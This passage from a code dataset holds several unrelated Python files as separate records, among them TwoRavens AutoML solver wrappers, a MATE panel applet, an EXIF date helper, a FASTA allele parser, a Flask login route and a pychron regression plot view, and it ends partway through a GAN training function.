None:\n search_id = self.get_search_id()\n\n self.search_id = search_id\n self.specification = specification\n self.system_params = system_params\n self.callback_found = callback_found\n self.callback_arguments = callback_arguments or {}\n\n @staticmethod\n def get_search_id():\n return str(uuid.uuid4())\n\n @abc.abstractmethod\n def run(self):\n pass\n\n @staticmethod\n def load(system, specification,\n callback_found: str, callback_arguments=None,\n system_params=None, search_id=None):\n return {\n 'auto_sklearn': SearchAutoSklearn,\n 'caret': SearchCaret,\n 'h2o': SearchH2O,\n 'tpot': SearchTPOT,\n 'mljar-supervised': SearchMLJarSupervised,\n 'ludwig': SearchLudwig,\n 'mlbox': SearchMLBox,\n 'TwoRavens': SearchTwoRavens\n }[system](\n specification=specification,\n callback_found=callback_found,\n callback_arguments=callback_arguments,\n system_params=system_params,\n search_id=search_id)\n\n\nclass SearchAutoSklearn(Search):\n system = 'auto_sklearn'\n\n def run(self):\n import autosklearn.classification\n import autosklearn.regression\n\n dataset = Dataset(self.specification['input'])\n\n dataframe = dataset.get_dataframe().dropna()\n dataframe.reset_index(drop=True, inplace=True)\n stimulus, preprocessor = preprocess(dataframe, self.specification)\n\n x = self.specification['problem']['predictors']\n y = self.specification['problem']['targets'][0]\n\n # if os.path.exists(tmp_folder):\n # shutil.rmtree(tmp_folder)\n # if os.path.exists(output_folder):\n # shutil.rmtree(output_folder)\n\n # TODO: auto_sklearn has a bug with weak references when certain non-default options are used.\n # Just avoiding this bug for now\n # if 'configuration' in self.specification:\n # config = self.specification['configuration']\n #\n # self.system_params['resampling_strategy_arguments'] = self.system_params.get('resampling_strategy_arguments', {})\n # self.system_params['resampling_strategy_arguments']['shuffle'] = config.get('shuffle', False)\n #\n # if config['method'] == \"HOLDOUT\":\n # self.system_params['resampling_strategy'] = 'holdOut'\n # self.system_params['resampling_strategy_arguments']['train_size'] = max(0, config.get('trainTestRatio')) or .6\n #\n # if config['method'] == \"K_FOLD\":\n # self.system_params['resampling_strategy'] = 'cv'\n # self.system_params['resampling_strategy_arguments']['folds'] = config.get('folds') or 10\n\n if self.specification.get('timeBoundSearch'):\n self.system_params['time_left_for_this_task'] = self.specification.get('timeBoundSearch')\n\n if self.specification.get('timeBoundRun'):\n self.system_params['per_run_time_limit'] = self.specification.get('timeBoundRun')\n # sklearn_temp_path = '/ravens_volume/solvers/auto_sklearn/temporary/' + str(uuid.uuid4())\n # tmp_folder = os.path.join(*sklearn_temp_path.split('/'), 'temp')\n # output_folder = os.path.join(*sklearn_temp_path.split('/'), 'output')\n\n # self.system_params['tmp_folder'] = tmp_folder\n # self.system_params['output_folder'] = output_folder\n # self.system_params['delete_tmp_folder_after_terminate'] = False\n\n # turn off daemon flag from the currently running process, to allow child processes from auto_sklearn fit\n multiprocessing.current_process()._config['daemon'] = False\n self.system_params['n_jobs'] = 1\n\n # valid system params\n # https://automl.github.io/auto-sklearn/master/api.html#api\n automl = {\n 'REGRESSION': autosklearn.regression.AutoSklearnRegressor,\n 'CLASSIFICATION': autosklearn.classification.AutoSklearnClassifier\n }[self.specification['problem']['taskType']](**self.system_params)\n\n automl.fit(stimulus.copy(), dataframe[y].copy())\n\n # if self.system_params.get('resampling_strategy') == 'cv':\n automl.refit(stimulus, dataframe[y])\n\n model = ModelSklearn(\n automl,\n system='auto_sklearn',\n search_id=self.search_id,\n predictors=x,\n targets=[y],\n preprocess=preprocessor,\n task=self.specification['problem']['taskType'])\n model.save()\n\n from tworaven_apps.solver_interfaces.tasks import FOUND_MODEL_CALLBACKS\n FOUND_MODEL_CALLBACKS[self.callback_found](model, **(self.callback_arguments or {}))\n\n return {\n KEY_SUCCESS: True,\n KEY_MESSAGE: 'search complete',\n KEY_DATA: {\n 'search_id': self.search_id,\n 'system': 'auto_sklearn'\n }\n }\n\n\nclass SearchCaret(Search):\n system = 'caret'\n\n def run(self):\n return requests.post(R_SERVICE + 'caretSolve.app', json={\n 'search_id': self.search_id,\n 'specification': self.specification,\n 'system_params': self.system_params\n }).json()\n\n\nclass SearchH2O(Search):\n system = 'h2o'\n\n def run(self):\n import h2o\n from h2o.automl import H2OAutoML\n\n # ensure backend solver is running\n h2o.init()\n\n train = h2o.import_file(Dataset(self.specification['input']).get_resource_uri())\n test = None\n\n X = self.specification['problem']['predictors']\n y = self.specification['problem']['targets'][0]\n\n if self.specification['problem']['taskType'] == 'CLASSIFICATION':\n if train.types[y] == u'real':\n train[y] = train[y].ascharacter()\n # For classification, response should be a factor\n train[y] = train[y].asfactor()\n\n if 'configuration' in self.specification:\n config = self.specification['configuration']\n\n if config['method'] == \"HOLDOUT\":\n train, test = train.split_frame(\n ratios=[max(0, config.get('trainTestRatio')) or .6],\n seed=config.get('randomSeed'))\n\n if config['method'] == \"K_FOLD\":\n self.system_params['nfolds'] = config.get('folds') or 10\n\n self.system_params['balance_classes'] = config.get('stratified', False)\n\n if 'timeBoundSearch' in self.specification:\n self.system_params['max_runtime_secs'] = self.specification['timeBoundSearch']\n if 'timeBoundRun' in self.specification:\n self.system_params['max_runtime_secs_per_model'] = self.specification['timeBoundRun']\n if 'rankSolutionsLimit' in self.specification:\n self.system_params['max_models'] = self.specification['rankSolutionsLimit']\n\n # sort_metrics = {\n # 'ACCURACY': \"rmse\",\n # 'ROC_AUC': \"auc\",\n # 'MEAN_SQUARED_ERROR': \"mse\",\n # 'ROOT_MEAN_SQUARED_ERROR': \"rmse\",\n # 'MEAN_ABSOLUTE_ERROR': \"mae\",\n # 'LOSS': \"logloss\",\n # }\n # if 'performanceMetric' in self.specification:\n # metric_spec = self.specification['performanceMetric']\n # if metric_spec['metric'] in sort_metrics:\n # self.system_params['sort_metric'] = sort_metrics[metric_spec['metric']]\n # self.system_params['stopping_metric'] = sort_metrics[metric_spec['metric']]\n\n # CV models are useful for model comparisons\n # self.system_params['keep_cross_validation_models'] = True\n\n if 'CLASSIFICATION' in self.specification['problem']['taskType']:\n train[y] = train[y].asfactor()\n\n train_params = {\n \"x\": X,\n \"y\": y,\n \"training_frame\": train\n }\n if test:\n train_params['leaderboard_frame'] = test\n\n automl = H2OAutoML(**self.system_params)\n automl.train(**train_params)\n\n if not automl.leader:\n return {\n KEY_SUCCESS: False,\n KEY_MESSAGE: 'no models found',\n KEY_DATA: {\n 'search_id': self.search_id,\n 'system': 'h2o'\n }\n }\n\n leaderboard = automl.leaderboard\n\n # take up to 10 models\n for model_id in leaderboard.head(10).as_data_frame()['model_id']:\n model = ModelH2O(\n h2o.get_model(model_id),\n search_id=self.search_id,\n predictors=X,\n targets=[y],\n task=self.specification['problem']['taskType'])\n\n from tworaven_apps.solver_interfaces.tasks import FOUND_MODEL_CALLBACKS\n FOUND_MODEL_CALLBACKS[self.callback_found](model, **(self.callback_arguments or {}))\n\n return {\n KEY_SUCCESS: True,\n KEY_MESSAGE: 'search complete',\n KEY_DATA: {\n 'search_id': self.search_id,\n 'system': 'h2o'\n }\n }\n\n\nclass SearchTPOT(Search):\n system = 'tpot'\n\n def run(self):\n import tpot\n dataset = Dataset(self.specification['input'])\n\n dataframe = dataset.get_dataframe().dropna()\n stimulus, preprocessor = preprocess(dataframe, self.specification)\n\n X = self.specification['problem']['predictors']\n y = self.specification['problem']['targets'][0]\n\n self.system_params['config_dict'] = 'TPOT sparse'\n\n # if 'configuration' in self.specification:\n # config = self.specification['configuration']\n #\n # if config['method'] == \"HOLDOUT\":\n # self.system_params['cv'] =\n #\n # if config['method'] == \"K_FOLD\":\n # self.system_params['cv'] =\n\n if self.specification.get('timeBoundSearch'):\n self.system_params['max_time_mins'] = self.specification.get('timeBoundSearch') / 60.\n\n if self.specification.get('timeBoundRun'):\n self.system_params['max_eval_time_mins'] = self.specification.get('timeBoundRun') / 60.\n\n # custom scorers cause unidentified SIGSEGV upon exit of search\n # scorer = make_scorer(\n # get_metric(self.specification['performanceMetric']),\n # greater_is_better=should_maximize(self.specification['performanceMetric']))\n # self.system_params['scoring'] = scorer\n self.system_params['n_jobs'] = 1\n\n automl = {\n 'REGRESSION': tpot.TPOTRegressor,\n 'CLASSIFICATION': tpot.TPOTClassifier\n }[self.specification['problem']['taskType']](**self.system_params)\n\n automl.fit(stimulus, dataframe[y])\n\n # selected models along the cost-complexity vs accuracy frontier\n for model_str in automl.pareto_front_fitted_pipelines_:\n model = ModelSklearn(\n automl.pareto_front_fitted_pipelines_[model_str],\n system='tpot',\n search_id=self.search_id,\n predictors=X,\n targets=[y],\n preprocess=preprocessor,\n task=self.specification['problem']['taskType'])\n model.save()\n\n from tworaven_apps.solver_interfaces.tasks import FOUND_MODEL_CALLBACKS\n FOUND_MODEL_CALLBACKS[self.callback_found](model, **(self.callback_arguments or {}))\n\n return {\n KEY_SUCCESS: True,\n KEY_MESSAGE: 'search complete',\n KEY_DATA: {\n 'search_id': self.search_id,\n 'system': 'tpot'\n }\n }\n\n\nclass SearchMLBox(Search):\n system = 'mlbox'\n FAST_DEBUG = os.environ.get('AUTOML_FAST_DEBUG', 'no') == 'yes'\n\n def run(self):\n import mlbox.model.regression\n\n dataset = Dataset(self.specification['input'])\n\n dataframe = dataset.get_dataframe().dropna()\n X = self.specification['problem']['predictors']\n y = self.specification['problem']['targets'][0]\n\n stimulus, preprocessor = preprocess(dataframe, self.specification)\n\n strategies = {\n 'REGRESSION': [\"LightGBM\", \"RandomForest\", \"ExtraTrees\", \"Tree\", \"Bagging\", \"AdaBoost\", \"Linear\"],\n 'CLASSIFICATION': [\"LightGBM\", \"RandomForest\", \"ExtraTrees\", \"Tree\", \"Bagging\", \"AdaBoost\", \"Linear\"],\n }\n\n if self.FAST_DEBUG:\n strategies = {\n 'REGRESSION': [\"RandomForest\"],\n 'CLASSIFICATION': [\"RandomForest\"],\n }\n\n solver = {\n 'REGRESSION': mlbox.model.regression.Regressor,\n 'CLASSIFICATION': mlbox.model.classification.Classifier\n }\n\n for strategy in strategies[self.specification['problem']['taskType']]:\n automl = solver[self.specification['problem']['taskType']](strategy=strategy, **self.system_params)\n\n if issubclass(type(stimulus), csr_matrix):\n stimulus = stimulus.toarray()\n\n automl.fit(df_train=pandas.DataFrame(stimulus), y_train=dataframe[y])\n\n model = ModelSklearn(\n automl,\n system='mlbox',\n search_id=self.search_id,\n predictors=X,\n targets=[y],\n preprocess=preprocessor,\n task=self.specification['problem']['taskType'])\n model.save()\n\n from tworaven_apps.solver_interfaces.tasks import FOUND_MODEL_CALLBACKS\n FOUND_MODEL_CALLBACKS[self.callback_found](model, **(self.callback_arguments or {}))\n\n return {\n KEY_SUCCESS: True,\n KEY_MESSAGE: 'search complete',\n KEY_DATA: {\n 'search_id': self.search_id,\n 'system': 'mlbox'\n }\n }\n\n\nclass SearchLudwig(Search):\n system = 'ludwig'\n\n def run(self):\n from ludwig.api import LudwigModel\n\n dataset = Dataset(self.specification['input'])\n\n dataframe = dataset.get_dataframe()\n predictors = self.specification['problem']['predictors']\n targets = self.specification['problem']['targets']\n\n target_type = {\n \"REGRESSION\": 'numerical',\n \"CLASSIFICATION\": 'category'\n }[self.specification['problem']['taskType']]\n\n if self.specification['problem']['taskType'] == 'CLASSIFICATION':\n dataframe[targets[0]] = dataframe[targets[0]].astype(str)\n\n # https://github.com/uber/ludwig/blob/master/tests/integration_tests/utils.py\n model_definition = {\n \"input_features\": [{\n \"name\": predictor,\n \"type\": 'category' if predictor in self.specification['problem']['categorical'] else 'numerical'\n } for predictor in predictors],\n \"output_features\": [{\"name\": target, \"type\": target_type} for target in targets]\n }\n\n automl = LudwigModel(model_definition)\n\n train_statistics = automl.train(dataframe)\n\n print('train_statistics')\n print(train_statistics)\n\n model = ModelLudwig(\n automl,\n search_id=self.search_id,\n predictors=predictors,\n targets=targets,\n task=self.specification['problem']['taskType'])\n\n model.save()\n\n from tworaven_apps.solver_interfaces.tasks import FOUND_MODEL_CALLBACKS\n FOUND_MODEL_CALLBACKS[self.callback_found](model, **(self.callback_arguments or {}))\n\n return {\n KEY_SUCCESS: True,\n KEY_MESSAGE: 'search complete',\n KEY_DATA: {\n 'search_id': self.search_id,\n 'system': 'ludwig'\n }\n }\n\n\nclass SearchMLJarSupervised(Search):\n system = 'mljar-supervised'\n\n def run(self):\n from supervised.automl import AutoML\n\n dataset = Dataset(self.specification['input'])\n\n dataframe = dataset.get_dataframe().dropna()\n X = self.specification['problem']['predictors']\n y = self.specification['problem']['targets'][0]\n\n stimulus, preprocessor = preprocess(dataframe, self.specification)\n\n if self.specification.get('timeBoundSearch'):\n self.system_params['total_time_limit'] = self.specification['timeBoundSearch']\n\n if self.specification.get('timeBoundRun'):\n self.system_params['learner_time_limit'] = self.specification['timeBoundRun']\n\n automl = AutoML(**self.system_params)\n\n # mljar seems kind of fragile?\n stimulus = pandas.DataFrame(stimulus)\n stimulus.columns = [str(i).strip() for i in stimulus.columns]\n\n automl.fit(stimulus, dataframe[y])\n\n for model_mljar in sorted(automl._models, key=lambda m: m.get_final_loss())[:4]:\n model = ModelSklearn(\n model_mljar,\n system='mljar-supervised',\n search_id=self.search_id,\n predictors=X,\n targets=[y],\n preprocess=preprocessor,\n task=self.specification['problem']['taskType'])\n\n model.save()\n\n from tworaven_apps.solver_interfaces.tasks import FOUND_MODEL_CALLBACKS\n FOUND_MODEL_CALLBACKS[self.callback_found](model, **(self.callback_arguments or {}))\n\n return {\n KEY_SUCCESS: True,\n KEY_MESSAGE: 'search complete',\n KEY_DATA: {\n 'search_id': self.search_id,\n 'system': 'mljar-supervised'\n }\n }\n\n\nclass SearchTwoRavens(Search):\n system = 'TwoRavens'\n\n def run(self):\n from tworaven_apps.solver_interfaces.tasks import pipeline_task\n import tworaven_solver\n\n # make sure time isn't in the predictor or target variables\n problem_specification = self.specification['problem']\n time_column = problem_specification.get('forecastingHorizon', {}).get(\"column\")\n for variable_set in ['targets', 'predictors']:\n if time_column and time_column in problem_specification[variable_set]:\n problem_specification[variable_set].remove(time_column)\n\n # if self.specification['problem']['taskType'] == 'FORECASTING':\n # # make time series regular\n # dataframe = tworaven_solver.format_dataframe_time_index(\n # dataframe=tworaven_solver.Dataset(self.specification['input']).get_dataframe(),\n # date=time_column,\n # granularity_specification=self.specification['problem'].get('timeGranularity'))\n #\n # # save regular time series to disk\n # imputed_dataframe_dir = os.path.join(self.specification['temp_directory'], self.search_id)\n # imputed_dataframe_path = os.path.join(imputed_dataframe_dir, 'trainData.csv')\n # os.makedirs(imputed_dataframe_dir, exist_ok=True)\n # dataframe.to_csv(imputed_dataframe_path, quoting=csv.QUOTE_NONNUMERIC)\n #\n # # update specification to point to new time series\n # self.specification['input'] = {\n # 'name': self.specification['input'].get('name', 'train'),\n # 'resource_uri': 'file://' + imputed_dataframe_path\n # }\n\n manager = tworaven_solver.SearchManager(\n problem_specification=problem_specification,\n system_params=self.system_params)\n\n signatures = []\n while True:\n pipeline_specification = manager.get_pipeline_specification()\n if not pipeline_specification:\n break\n\n signatures.append(pipeline_task.s(\n search_id=self.search_id,\n train_specification=self.specification,\n pipeline_specification=pipeline_specification,\n callback_name=self.callback_found,\n callback_arguments=self.callback_arguments))\n\n result = group(*signatures)()\n with allow_join_result():\n result.join()\n\n return {\n KEY_SUCCESS: True,\n KEY_MESSAGE: 'search complete',\n KEY_DATA: {\n 'search_id': self.search_id,\n 'system': 'TwoRavens'\n }\n }\n","sub_path":"tworaven_apps/solver_interfaces/util_search.py","file_name":"util_search.py","file_ext":"py","file_size_in_byte":21194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"483701652","text":"#!/usr/bin/env python\n\n# https://www.systutorials.com/docs/linux/man/1-mate-panel-test-applets/\n\nimport signal\nsignal.signal(signal.SIGINT, signal.SIG_DFL)\n\n# https://github.com/city41/mate-i3-applet/blob/master/log.py\n\n\nimport os\nimport sys\nimport logging\n\ndef exception_handler(type, value, traceback):\n logging.exception(\"Uncaught exception occurred: {}\".format(value))\n\nlogger = logging.getLogger(\"TestAppletLog\")\n\n#logger.setLevel(logging.WARNING)\nlogger.setLevel(logging.DEBUG)\n\nsys.excepthook = exception_handler\n\nfile_handler = logging.FileHandler(os.path.expanduser(\"~/.testapplet.log\"))\nfile_handler.setFormatter(\n logging.Formatter('[%(levelname)s] %(asctime)s: %(message)s', \"%Y-%m-%d %H:%M:%S\")\n)\nlogger.addHandler(file_handler)\n\n#-------------------------------------------------------------------------------\n\nimport gi\ngi.require_version(\"Gtk\", \"3.0\")\ngi.require_version('MatePanelApplet', '4.0')\nfrom gi.repository import Gtk\nfrom gi.repository import MatePanelApplet\nfrom gi.repository import Gdk\n\n \ndef applet_fill(applet):\n #logger.debug(\"applet_fill\")\n #logger.debug(str(applet))\n \n # you can use this path with gio/gsettings\n settings_path = applet.get_preferences_path()\n\n box = Gtk.Box()\n applet.add(box)\n\n label = Gtk.Label(label=\"Label\")\n box.add(label)\n \n #button = Gtk.Button(label=\"Dialog\")\n #button.connect('clicked', show_dialog)\n #button.connect('clicked', create_menu, applet)\n #button.connect(\"button-press-event\", showMenu, applet)\n #button.connect(\"clicked\", showMenu, applet)\n #box.add(button)\n\n #button = Gtk.Button(label=\"Quit\")\n #button.connect('clicked', Gtk.main_quit)\n #box.add(button)\n\n #applet.add_menu(build_menu())\n applet.show_all()\n\n append_menu(applet)\n\n \n#def create_menu(widget, event, applet):\n# f = open('log', 'w')\n# f.write(str(widget)+'\\n')\n# f.write(str(event)+'\\n')\n# f.write(str(applet)+'\\n')\n# f.close()\n\n# menu_xml='' \n# menu_xml='''\n#\t\t\t\n#\t\t\t''' \n# verbs = [(\"About\", showAboutDialog)]\n# applet.setup_menu(menu_xml, verbs, None)\n\n\ndef show_menu(widget, event, applet):\n # https://developer.gnome.org/gdk3/stable/gdk3-Event-Structures.html#GdkEventButton\n\n logging.debug(\"show_menu\")\n \n #if event.type == Gdk.EventType.BUTTON_PRESS and event.button == 1:\n if event.button == 1:\n logging.debug(\"show_menu - button 1\")\n #showMainDialog()\n #show_dialog(widget)\n create_menu(applet)\n #if event.type == Gdk.EventType.BUTTON_PRESS and event.button == 3:\n# elif event.button == 3:\n# logging.debug(\"show_menu - button 3\")\n# widget.emit_stop_by_name(\"button-press-event\")\n# create_menu(applet)\n\n\ndef append_menu(applet):\n logging.debug(\"append_menu\")\n\n #propxml=\"\"\"\n # \n #\t\t\t\"\"\"\n\n\t\t\t \n # https://github.com/mate-desktop/mate-applets/blob/master/mateweather/mateweather-applet.c\n # https://github.com/mate-desktop/mate-applets/blob/master/mateweather/mateweather-applet-menu.xml\n\n menu_xml=\"\"\"\n \n \n \"\"\"\n\t\t\t\n actions = [\n ('AboutAction', None, 'About Test Applet', None, None, show_dialog), \n ('QuitAction', None, 'Quit Test Applet', None, None, Gtk.main_quit), \n ]\n \n action_group = Gtk.ActionGroup(\"TestApplet\") \n action_group.add_actions(actions, applet)\n applet.setup_menu(menu_xml, action_group)\n\n\ndef show_dialog(widget, event=None):\n logging.debug(\"show_dialog\")\n logging.debug(str(widget))\n logging.debug(str(event))\n\n win = Gtk.Window()\n win.connect('destroy', Gtk.main_quit)\n win.show_all()\n\n Gtk.main()\n\n \ndef applet_factory(applet, iid, data):\n if iid != \"TestApplet\":\n return False\n \n applet_fill(applet)\n \n return True\n\nMatePanelApplet.Applet.factory_main(\"TestAppletFactory\", True,\n MatePanelApplet.Applet.__gtype__,\n applet_factory, None)\n\n","sub_path":"other-my-applets/panel-applet/testapplet.py","file_name":"testapplet.py","file_ext":"py","file_size_in_byte":4376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"519576173","text":"\"\"\"Get/set EXIF dates from photos\"\"\"\n\nimport exifread\nfrom icloudpd.logger import setup_logger\nimport datetime\n\n\ndef get_photo_exif(path):\n \"\"\"Get EXIF date for a photo, returning None on error\"\"\"\n try:\n with open(path, 'rb') as file:\n exif_dict = exifread.process_file(file, details=False, stop_tag='DateTimeOriginal')\n exif_date_tag = exif_dict.get('EXIF DateTimeOriginal')\n if exif_date_tag:\n return str(exif_date_tag)\n else:\n return None\n except Exception as e:\n logger = setup_logger()\n logger.debug(\"%s fetching EXIF data for %s\", e.__class__.__name__, path)\n return None\n\n\ndef exif_to_unix_local(exif_date):\n # strptime returns in local timezone\n return datetime.datetime.strptime(exif_date, \"%Y:%m:%d %H:%M:%S\").timestamp()\n","sub_path":"icloudpd/exif_datetime.py","file_name":"exif_datetime.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"653415031","text":"#!/usr/bin/env python2\nimport logging\nlogger = logging.getLogger()\nfrom collections import defaultdict\nimport argparse\nimport sys\nimport os\nfrom Bio import SeqIO\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser(description=\"Given a list of FASTA files with novel alleles found with MentaLiST, output a FASTA with a unique list of novel alleles.\")\n # parser.add_argument(\"-s\", nargs=\"+\", help=\"New scheme fasta files, to compare if the novel allees are present.\")\n parser.add_argument(\"-f\", nargs=\"+\", help=\"Fasta files with novel alleles.\")\n parser.add_argument(\"-o\", type=str, help=\"Output Fasta file with alleles above the threshold requirement(s).\")\n parser.add_argument(\"-t\", \"--threshold\", type=int, default=5, help=\"Minimum number of different samples to appear, to include a novel allele in the output fasta.\")\n parser.add_argument(\"-m\", \"--mutation\", type=int, default=0, help=\"Also include if novel allel has equal or less than this number of mutations, regardless of times seen. Disabled by default.\")\n parser.add_argument('-ll', '--loglevel', type=str, default=\"INFO\", choices=['DEBUG','INFO','WARNING','ERROR','CRITICAL'], help='Set the logging level')\n param = parser.parse_args()\n logging.basicConfig(level=param.loglevel, format='%(asctime)s (%(relativeCreated)d ms) -> %(levelname)s:%(message)s', datefmt='%I:%M:%S %p')\n\n logger.info(\"Reading the new alleles ...\")\n # novel = defaultdict(lambda : defaultdict(int))\n novel = defaultdict(lambda : defaultdict(list))\n loci = set()\n for f in param.f:\n # get mutations:\n with open(f[:-2] + \"txt\") as mutfile:\n mutations = {locus:nmut for locus, ab, nmut, desc in [l.strip().split(\"\\t\") for l in mutfile]}\n logger.debug(\"Opening file %s ...\" % f)\n for seq_record in SeqIO.parse(f, \"fasta\"):\n locus = seq_record.id\n dna = str(seq_record.seq)\n loci.add(locus)\n novel[locus][dna].append(int(mutations[locus]))\n\n logger.info(\"Writing output ...\")\n output_fasta = []\n print(\"Locus\\tAlleles found\\tSamples x (mutations)\")\n for locus in sorted(loci):\n output_fasta.extend([(locus,seq) for seq, l in novel[locus].items() if (len(l) >= param.threshold or min(l) <= param.mutation)])\n print(\"%s\\t%d\\t%s\" % (locus, len(novel[locus]), \", \".join([\"%dx (%d)\" % (len(l),min(l)) for seq, l in sorted(novel[locus].items(), key=lambda x:len(x[1]), reverse=True)])))\n if param.o:\n with open(param.o, \"wb\") as f:\n for locus, seq in output_fasta:\n print >> f, (\">%s\\n%s\" % (locus, seq))\n\n logger.info(\"Done.\")\n","sub_path":"scripts/parse_novel_alleles.py","file_name":"parse_novel_alleles.py","file_ext":"py","file_size_in_byte":2654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"409027083","text":"s = input()\ndiff = 0\nfor i in range(len(s)):\n if i % 2 == 0:\n if s[i] == \"R\" or s[i] == \"U\" or s[i] == \"D\":\n continue\n else:\n diff += 1\n if i % 2 == 1:\n if s[i] == \"L\" or s[i] == \"U\" or s[i] == \"D\":\n continue\n else:\n diff += 1\nif diff == 0:\n print(\"Yes\")\nelse:\n print(\"No\")","sub_path":"Python_codes/p02910/s624628197.py","file_name":"s624628197.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"191865469","text":"from flask import abort, redirect, request\nimport json as _json\n\nfrom api import DiscordApiClient\nfrom utils.flask import my_render_template\nfrom .app import app\n\ndef login():\n if request.method == 'GET':\n if app._client:\n return redirect(\"/home\")\n else:\n login_failed = _json.loads(request.args.get('login_failed', 'false'))\n return my_render_template(\"login.html\", login_failed=login_failed)\n else:\n if app._client:\n abort(400)\n else:\n data = request.form\n try:\n app._client = DiscordApiClient(data['email'], data['password'])\n return redirect(\"/home\")\n except RuntimeError:\n return redirect(\"/login?login_failed=true\")","sub_path":"app/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"540441396","text":"# ===============================================================================\n# Copyright 2018 ross\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ===============================================================================\nfrom chaco.plot_containers import HPlotContainer\nfrom enable.component_editor import ComponentEditor\nfrom traits.api import HasTraits, Instance\nfrom traitsui.api import View, UItem\n\nfrom pychron.graph.stacked_graph import StackedGraph\nfrom pychron.graph.stacked_regression_graph import StackedRegressionGraph\n\n\nclass RegressionView(HasTraits):\n name = 'Regressions'\n container = Instance(HPlotContainer)\n\n def initialize(self, an):\n an.load_raw_data()\n self.setup_graph(an)\n\n def setup_graph(self, an):\n\n container = HPlotContainer()\n\n container_dict = {'spacing': 5, 'stack_order': 'top_to_bottom'}\n sg = StackedGraph(container_dict=container_dict)\n sg.plotcontainer.spacing = 5\n sg.plotcontainer.stack_order = 'top_to_bottom'\n\n isos = an.sorted_values(reverse=False)\n add_sniff = True\n\n sisos = [iso for iso in isos if iso.sniff.offset_xs.shape[0]]\n for i, iso in enumerate(sisos):\n sniff = iso.sniff\n sg.new_plot(ytitle=iso.name, xtitle='Time (s)', title='Equilibration')\n sg.new_series(sniff.offset_xs, sniff.ys, marker='circle', type='scatter')\n sg.set_y_limits(pad='0.1', plotid=i)\n sg.set_x_limits(min_=0, max_=max(sniff.offset_xs) * 1.05, plotid=i)\n\n bg = StackedRegressionGraph(container_dict=container_dict)\n add_baseline = True\n\n ig = StackedRegressionGraph(container_dict=container_dict)\n\n iisos = [iso for iso in isos if iso.offset_xs.shape[0]]\n baselines = []\n for i, iso in enumerate(iisos):\n if iso.baseline.offset_xs.shape[0]:\n baselines.append(iso.baseline)\n ig.new_plot(ytitle='{}({})'.format(iso.name, iso.detector), xtitle='Time (s)', title='Isotope')\n ig.new_series(iso.offset_xs, iso.ys,\n display_filter_bounds=True,\n filter_outliers_dict=iso.filter_outliers_dict,\n color='blue', type='scatter', fit=iso.efit)\n ig.set_regressor(iso.regressor, i)\n ig.set_y_limits(pad='0.1', plotid=i)\n ig.set_x_limits(min_=0, max_=max(iso.offset_xs) * 1.05, plotid=i)\n\n ig.refresh()\n\n # bisos = [iso for iso in isos if iso.baseline.offset_xs.shape[0]]\n # plotted_baselines = []\n # for i, iso in enumerate(bisos):\n # baseline = iso.baseline\n # if baseline.detector in plotted_baselines:\n # continue\n # plotted_baselines.append(baseline.detector)\n\n # for iso in bisos:\n for i, baseline in enumerate(baselines):\n\n bg.new_plot(ytitle=baseline.detector, xtitle='Time (s)', title='Baseline')\n bg.new_series(baseline.offset_xs, baseline.ys,\n filter_outliers_dict=baseline.filter_outliers_dict,\n display_filter_bounds=True,\n color='red', type='scatter', fit=baseline.efit)\n bg.set_regressor(baseline.regressor, i)\n bg.set_y_limits(pad='0.1', plotid=i)\n bg.set_x_limits(pad='0.025', plotid=i)\n\n bg.refresh()\n\n container.add(sg.plotcontainer)\n container.add(ig.plotcontainer)\n container.add(bg.plotcontainer)\n\n self.container = container\n\n def traits_view(self):\n v = View(UItem('container', style='custom', editor=ComponentEditor()),\n resizable=True)\n return v\n\n# ============= EOF =============================================\n","sub_path":"pychron/processing/analyses/view/regression_view.py","file_name":"regression_view.py","file_ext":"py","file_size_in_byte":4283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"383668291","text":"# encoding= \"utf-8\"\nimport torch\nfrom feature_selection.tools import set_requires_grad, testing\nimport torch.optim as optim\nfrom tqdm import tqdm\nimport numpy as np\nimport torch.nn as nn\nimport matplotlib.pyplot as plt\nimport matplotlib\nmatplotlib.use(\"TKagg\")\n\n\ndef train_disc(disc, true, fake, optimizer, threshold, device, gan_loss, labels=None):\n set_requires_grad(disc, True)\n\n optimizer.zero_grad()\n\n if labels is not None:\n decision_fake = disc(torch.cat([fake, labels], dim=1))\n decision_true = disc(torch.cat([true, labels], dim=1))\n else:\n decision_fake = disc(fake)\n decision_true = disc(true)\n\n zeroes = torch.zeros(decision_fake.shape[0], 1).float().to(device)\n disc_fake_loss = 0.5 * gan_loss(decision_fake, zeroes)\n\n ones = torch.ones(decision_fake.shape[0], 1).float().to(device)\n disc_true_loss = 0.5 * gan_loss(decision_true, ones)\n\n disc_loss = disc_fake_loss + disc_true_loss\n\n if disc_fake_loss.mean() > threshold:\n disc_loss.backward()\n optimizer.step()\n\n return decision_fake.mean().item(), decision_true.mean().item()\n\n\ndef train_gen(gen, disc, input, optimizer, disc_conditional, gan_loss, device, data=None, **kwargs):\n gen.train()\n set_requires_grad(gen, True)\n set_requires_grad(disc, False)\n optimizer.zero_grad()\n\n generation = gen.forward(input)\n\n input = kwargs.get(\"channelwise_input\", input)\n\n if disc_conditional:\n fake_decision = disc.forward(torch.cat([generation, input], dim=1))\n else:\n fake_decision = disc.forward(generation)\n\n true_label = torch.ones(fake_decision.shape[0], 1).float().to(device)\n\n gan_loss = gan_loss(fake_decision, true_label)\n\n if data is not None:\n mu_l1 = 